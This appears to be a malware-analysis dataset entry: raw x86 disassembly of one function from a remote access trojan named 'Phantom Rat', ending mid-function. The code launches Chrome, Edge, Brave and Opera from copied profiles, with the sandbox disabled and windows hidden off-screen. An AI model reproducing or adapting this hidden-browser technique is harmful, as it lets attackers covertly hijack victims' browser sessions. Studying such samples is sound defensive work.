Function at 0x10040dfa
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x44
lea eax, [ebp - 0x13c]
mov ebx, ecx
push 0
push eax
call fcn.1011ce00
mov eax, dword [0x10190c84]
add esp, 0xc
movups xmm0, xmmword [str.sssssssss]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x134], eax
lea eax, [ebp - 0xf4]
push 0x10
push 0
push eax
mov dword [ebp - 0x13c], 0x44
mov dword [ebp - 0x110], 4
mov dword [ebp - 0x12c], 0xffff8300
mov dword [ebp - 0x128], 0xffff8300
movups xmmword [ebp - 0x1c], xmm0
call fcn.1011ce00
add esp, 0xc
mov dword [ebp - 0xac], 0
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 7
push 0
push 0x1018ed8c
call fcn.10051fd0
mov esi, dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
lea eax, [ebp - 0xe4]
push eax
push 0
push 0x8000
push 0x1017fe64
call esi
mov edx, dword [ebp - 0xe4]
mov ecx, edx
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 7
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1003fb70
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x64]
call fcn.10051fd0
lea eax, [ebp - 0xe0]
push eax
push 0
push 0x8000
push 0x1017fe54
call esi
mov edx, dword [ebp - 0xe0]
mov ecx, edx
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 7
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1003fbc7
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xc4]
call fcn.10051fd0
lea eax, [ebx - 1]
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 7
cmp eax, 7
ja case.0x1003fc0d.5
jmp dword [eax*4 + 0x1004105c]
mov ecx, dword [ebp - 0x54]
mov esi, 0x7ffffffe
mov eax, esi
sub eax, ecx
cmp byte [ebp + 0x10], 0
je 0x1003ff80
cmp eax, 0x18
jb 0x10040fff
cmp dword [ebp - 0x50], 8
lea eax, [ebp - 0x64]
push 0x18
cmovae eax, dword [ebp - 0x64]
push str.GoogleChromeUser_Data
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x94]
call fcn.1005dba0
mov ecx, dword [ebp - 0x54]
mov eax, esi
sub eax, ecx
cmp eax, 0x12
jb 0x10040fff
cmp dword [ebp - 0x50], 8
lea eax, [ebp - 0x64]
push 0x12
cmovae eax, dword [ebp - 0x64]
push str.GoogleChromedat
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x4c]
call fcn.1005dba0
cmp dword [ebp - 0x38], 8
lea edx, [ebp - 0x4c]
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1003fca0
sub ecx, edi
mov dword [ebp - 0x7c], 0
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 7
call fcn.10051fd0
cmp dword [ebp - 0x80], 8
lea edx, [ebp - 0x94]
cmovae edx, dword [ebp - 0x94]
mov ecx, edx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1003fce4
sub ecx, edi
mov dword [ebp - 0x34], 0
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
call fcn.10051fd0
push 0x12
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x34]
call fcn.100264d0
mov edx, dword [ebp - 0x20]
add esp, 4
cmp edx, 8
jb 0x1003fd5c
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003fd52
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10040ffa
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x68]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x1003fdaa
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003fda0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10040ffa
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub esi, ecx
cmp esi, 0x49
jb 0x10040fff
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push ecx
cmovae eax, dword [ebp - 0x4c]
push eax
push 0x49
push str._C:Program_FilesGoogleChromeApplicationchrome.exe____user_data_dir_
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x7c]
call fcn.1005dba0
push 0x200
push str.____new_window____no_first_run__data:text_html__title_Welcome_in_Phantom_Rat.__title__h1_Welcome_in_browser__Phantom_rat_user.__h1__style_bodybackground_color:blackh1color:white___style_____disable_gpu____no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_accelerated_layers___disable_accelerated_plugins___disable_audio___disable_accelerated_2d_canvas____aura_no_shadows___mute_audio___disable_deadline_scheduling___disable_ui_deadline_scheduling___disable_d3d11___window_position_32000__32000__
lea ecx, [ebp - 0x7c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x34], 0
push 0x18
lea eax, [ebp - 0x34]
mov dword [ebp - 0x24], 0
push esi
push eax
mov dword [ebp - 0x20], 0
call fcn.1011b630
xor eax, eax
mov dword [esi + 0x10], 0
add esp, 0xc
mov word [esi], ax
lea eax, [ebp - 0x34]
mov dword [esi + 0x14], 7
lea ecx, [ebp - 0xdc]
push eax
call fcn.100522e0
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x1003fe6f
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003fe65
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041004
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x68]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x1003febd
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003feb3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041004
push edx
push ecx
call fcn.1011a823
add esp, 8
cmp dword [ebp - 0xc8], 8
lea edx, [ebp - 0xdc]
cmovae edx, dword [ebp - 0xdc]
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1003fed6
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xac]
call fcn.10051fd0
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x1003ff2c
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003ff22
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x80]
xor eax, eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 7
mov word [ebp - 0x4c], ax
cmp edx, 8
jb case.0x1003fc0d.5
mov ecx, dword [ebp - 0x94]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040145
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
jmp 0x10040145
cmp eax, 0x13
jb 0x1004100e
cmp dword [ebp - 0x50], 8
lea eax, [ebp - 0x64]
push 0x13
cmovae eax, dword [ebp - 0x64]
push str.GoogleChromedata
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x4c]
call fcn.1005dba0
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push 0
cmovae eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 0x3c]
sub esi, ecx
cmp esi, 0x49
jb 0x10041013
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push ecx
cmovae eax, dword [ebp - 0x4c]
push eax
push 0x49
push str._C:Program_FilesGoogleChromeApplicationchrome.exe____user_data_dir_
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x94]
call fcn.1005dba0
push 0x200
push str.____new_window____no_first_run__data:text_html__title_Welcome_in_Phantom_Rat.__title__h1_Welcome_in_browser__Phantom_rat_user.__h1__style_bodybackground_color:blackh1color:white___style_____disable_gpu____no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_accelerated_layers___disable_accelerated_plugins___disable_audio___disable_accelerated_2d_canvas____aura_no_shadows___mute_audio___disable_deadline_scheduling___disable_ui_deadline_scheduling___disable_d3d11___window_position_32000__32000__
lea ecx, [ebp - 0x94]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x34], 0
push 0x18
lea eax, [ebp - 0x34]
mov dword [ebp - 0x24], 0
push esi
push eax
mov dword [ebp - 0x20], 0
call fcn.1011b630
xor eax, eax
mov dword [esi + 0x10], 0
add esp, 0xc
mov word [esi], ax
lea eax, [ebp - 0x34]
mov dword [esi + 0x14], 7
lea ecx, [ebp - 0xdc]
push eax
call fcn.100522e0
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x1004008b
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040081
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041018
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x80]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x100400dc
mov ecx, dword [ebp - 0x94]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100400d2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041018
push edx
push ecx
call fcn.1011a823
add esp, 8
cmp dword [ebp - 0xc8], 8
lea edx, [ebp - 0xdc]
cmovae edx, dword [ebp - 0xdc]
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100400f5
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xac]
call fcn.10051fd0
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb case.0x1003fc0d.5
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040145
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004101d
push edx
push ecx
call fcn.1011a823
add esp, 8
jmp case.0x1003fc0d.5
mov ecx, dword [ebp - 0x54]
mov esi, 0x7ffffffe
mov eax, esi
sub eax, ecx
cmp byte [ebp + 0x10], 0
je 0x1004043a
cmp eax, 0x19
jb 0x10040fff
cmp dword [ebp - 0x50], 8
lea eax, [ebp - 0x64]
push 0x19
cmovae eax, dword [ebp - 0x64]
push str.MicrosoftEdgeUser_Data
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x94]
call fcn.1005dba0
mov ecx, dword [ebp - 0x54]
mov eax, esi
sub eax, ecx
cmp eax, 0x13
jb 0x10040fff
cmp dword [ebp - 0x50], 8
lea eax, [ebp - 0x64]
push 0x13
cmovae eax, dword [ebp - 0x64]
push str.MicrosoftEdgedat
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x4c]
call fcn.1005dba0
cmp dword [ebp - 0x38], 8
lea edx, [ebp - 0x4c]
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100401e0
sub ecx, edi
mov dword [ebp - 0x7c], 0
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 7
call fcn.10051fd0
cmp dword [ebp - 0x80], 8
lea edx, [ebp - 0x94]
cmovae edx, dword [ebp - 0x94]
mov ecx, edx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10040224
sub ecx, edi
mov dword [ebp - 0x34], 0
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
call fcn.10051fd0
push 0x12
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x34]
call fcn.100264d0
mov edx, dword [ebp - 0x20]
add esp, 4
cmp edx, 8
jb 0x1004029c
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040292
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041022
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x68]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x100402ea
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100402e0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041022
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub esi, ecx
cmp esi, 0x50
jb 0x10041027
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push ecx
cmovae eax, dword [ebp - 0x4c]
push eax
push 0x50
push str._C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe____user_data_dir_
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x7c]
call fcn.1005dba0
push 0x1f2
push str.____no_first_run__data:text_html__title_Welcome_in_Phantom_Rat.__title__h1_Welcome_in_browser__Phantom_rat_user.__h1__style_bodybackground_color:blackh1color:white___style_____disable_gpu____no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_accelerated_layers___disable_accelerated_plugins___disable_audio___disable_accelerated_2d_canvas____aura_no_shadows___mute_audio___disable_deadline_scheduling___disable_ui_deadline_scheduling___disable_d3d11___window_position_32000__32000__
lea ecx, [ebp - 0x7c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x34], 0
push 0x18
lea eax, [ebp - 0x34]
mov dword [ebp - 0x24], 0
push esi
push eax
mov dword [ebp - 0x20], 0
call fcn.1011b630
xor eax, eax
mov dword [esi + 0x10], 0
add esp, 0xc
mov word [esi], ax
lea eax, [ebp - 0x34]
mov dword [esi + 0x14], 7
lea ecx, [ebp - 0xac]
push eax
call fcn.100522e0
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x100403af
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100403a5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004102c
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x68]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x100403fd
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100403f3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1004102c
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x1003ff2c
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003ff22
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
jmp 0x1003ff22
cmp eax, 0x14
jb 0x10041031
cmp dword [ebp - 0x50], 8
lea eax, [ebp - 0x64]
push 0x14
cmovae eax, dword [ebp - 0x64]
push str.MicrosoftEdgedata
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x4c]
call fcn.1005dba0
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push 0
cmovae eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 0x3c]
sub esi, ecx
cmp esi, 0x50
jb 0x10041036
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push ecx
cmovae eax, dword [ebp - 0x4c]
push eax
push 0x50
push str._C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe____user_data_dir_
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x94]
call fcn.1005dba0
push 0x1f2
push str.____no_first_run__data:text_html__title_Welcome_in_Phantom_Rat.__title__h1_Welcome_in_browser__Phantom_rat_user.__h1__style_bodybackground_color:blackh1color:white___style_____disable_gpu____no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_accelerated_layers___disable_accelerated_plugins___disable_audio___disable_accelerated_2d_canvas____aura_no_shadows___mute_audio___disable_deadline_scheduling___disable_ui_deadline_scheduling___disable_d3d11___window_position_32000__32000__
lea ecx, [ebp - 0x94]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x34], 0
push 0x18
lea eax, [ebp - 0x34]
mov dword [ebp - 0x24], 0
push esi
push eax
mov dword [ebp - 0x20], 0
call fcn.1011b630
xor eax, eax
mov dword [esi + 0x10], 0
add esp, 0xc
mov word [esi], ax
lea eax, [ebp - 0x34]
mov dword [esi + 0x14], 7
lea ecx, [ebp - 0xac]
push eax
call fcn.100522e0
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x10040545
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1004053b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x80]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x10040596
mov ecx, dword [ebp - 0x94]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1004058c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb case.0x1003fc0d.5
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
jmp 0x1003ff59
mov ecx, dword [ebp - 0x54]
mov esi, 0x7ffffffe
mov eax, esi
sub eax, ecx
cmp byte [ebp + 0x10], 0
je 0x10040860
cmp eax, 0x26
jb 0x10040fff
cmp dword [ebp - 0x50], 8
lea eax, [ebp - 0x64]
push 0x26
cmovae eax, dword [ebp - 0x64]
push str.BraveSoftwareBrave_BrowserUser_Data
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x94]
call fcn.1005dba0
mov ecx, dword [ebp - 0x54]
mov eax, esi
sub eax, ecx
cmp eax, 0x20
jb 0x10040fff
cmp dword [ebp - 0x50], 8
lea eax, [ebp - 0x64]
push 0x20
cmovae eax, dword [ebp - 0x64]
push str.BraveSoftwareBrave_Browserdat
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x4c]
call fcn.1005dba0
cmp dword [ebp - 0x38], 8
lea edx, [ebp - 0x4c]
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10040640
sub ecx, edi
mov dword [ebp - 0x7c], 0
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 7
call fcn.10051fd0
cmp dword [ebp - 0x80], 8
lea edx, [ebp - 0x94]
cmovae edx, dword [ebp - 0x94]
mov ecx, edx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10040684
sub ecx, edi
mov dword [ebp - 0x34], 0
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
call fcn.10051fd0
push 0x12
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x34]
call fcn.100264d0
mov edx, dword [ebp - 0x20]
add esp, 4
cmp edx, 8
jb 0x100406fc
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100406f2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x68]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x1004074a
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040740
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub esi, ecx
cmp esi, 0x56
jb 0x1004103b
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push ecx
cmovae eax, dword [ebp - 0x4c]
push eax
push 0x56
push str._C:Program_FilesBraveSoftwareBrave_BrowserApplication_brave.exe____user_data_dir_
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x7c]
call fcn.1005dba0
push 0x1f2
push str.____no_first_run__data:text_html__title_Welcome_in_Phantom_Rat.__title__h1_Welcome_in_browser__Phantom_rat_user.__h1__style_bodybackground_color:blackh1color:white___style_____disable_gpu____no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_accelerated_layers___disable_accelerated_plugins___disable_audio___disable_accelerated_2d_canvas____aura_no_shadows___mute_audio___disable_deadline_scheduling___disable_ui_deadline_scheduling___disable_d3d11___window_position_32000__32000__
lea ecx, [ebp - 0x7c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x34], 0
push 0x18
lea eax, [ebp - 0x34]
mov dword [ebp - 0x24], 0
push esi
push eax
mov dword [ebp - 0x20], 0
call fcn.1011b630
xor eax, eax
mov dword [esi + 0x10], 0
add esp, 0xc
mov word [esi], ax
lea eax, [ebp - 0x34]
mov dword [esi + 0x14], 7
lea ecx, [ebp - 0xac]
push eax
call fcn.100522e0
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x1004080f
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040805
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x68]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x100403fd
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100403f3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100403f3
jmp 0x10041009
cmp eax, 0x21
jb 0x10041040
cmp dword [ebp - 0x50], 8
lea eax, [ebp - 0x64]
push 0x21
cmovae eax, dword [ebp - 0x64]
push str.BraveSoftwareBrave_Browserdata
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x4c]
call fcn.1005dba0
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push 0
cmovae eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 0x3c]
sub esi, ecx
cmp esi, 0x56
jb 0x10041045
cmp dword [ebp - 0x38], 8
lea eax, [ebp - 0x4c]
push ecx
cmovae eax, dword [ebp - 0x4c]
push eax
push 0x56
push str._C:Program_FilesBraveSoftwareBrave_BrowserApplication_brave.exe____user_data_dir_
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x94]
call fcn.1005dba0
push 0x1f2
push str.____no_first_run__data:text_html__title_Welcome_in_Phantom_Rat.__title__h1_Welcome_in_browser__Phantom_rat_user.__h1__style_bodybackground_color:blackh1color:white___style_____disable_gpu____no_sandbox___allow_no_sandbox_job___disable_3d_apis___disable_accelerated_layers___disable_accelerated_plugins___disable_audio___disable_accelerated_2d_canvas____aura_no_shadows___mute_audio___disable_deadline_scheduling___disable_ui_deadline_scheduling___disable_d3d11___window_position_32000__32000__
lea ecx, [ebp - 0x94]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x34], 0
push 0x18
lea eax, [ebp - 0x34]
mov dword [ebp - 0x24], 0
push esi
push eax
mov dword [ebp - 0x20], 0
call fcn.1011b630
xor eax, eax
mov dword [esi + 0x10], 0
add esp, 0xc
mov word [esi], ax
lea eax, [ebp - 0x34]
mov dword [esi + 0x14], 7
lea ecx, [ebp - 0xac]
push eax
call fcn.100522e0
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x1004096b
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10040961
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10041009
push edx
push ecx
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x80]
xor eax, eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
mov word [ebp - 0x34], ax
cmp edx, 8
jb 0x10040596
mov ecx, dword [ebp - 0x94]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1004058c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1004058c
jmp 0x10041009
mov ecx, dword [ebp - 0xb4]
mov esi, 0x7ffffffe
mov eax, esi
sub eax, ecx
cmp byte [ebp + 0x10], 0
je 0x10040c80
cmp eax, 0x1c
jb 0x10040fff
cmp dword [ebp - 0xb0], 8
lea eax, [ebp - 0xc4]
push 0x1c
cmovae eax, dword [ebp - 0xc4]
push str.Opera_SoftwareOpera_Stable
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x94]
call fcn.1005dba0
mov ecx, dword [ebp - 0xb4]
mov eax, esi
sub eax, ecx
cmp eax, 0x11
jb 0x10040fff
cmp dword [ebp - 0xb0], 8
lea eax, [ebp - 0xc4]
push 0x11
cmovae eax, dword [ebp - 0xc4]
push str.Opera_Softwareo
push ecx
push eax
push ecx
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x4c]
call fcn.1005dba0
cmp dword [ebp - 0x38], 8
lea edx, [ebp - 0x4c]
cmovae edx, dword [ebp - 0x4c]
mov ecx, edx
lea edi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10040a60
sub ecx, edi
mov dword [ebp - 0x7c], 0
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 7
call fcn.10051fd0
cmp dword [ebp - 0x80], 8
lea edx, [ebp - 0x94]
cmovae edx, dword [ebp - 0x94]
mov ecx, edx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10040aa4
sub ecx, edi
mov dword [ebp - 0x34], 0
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 7
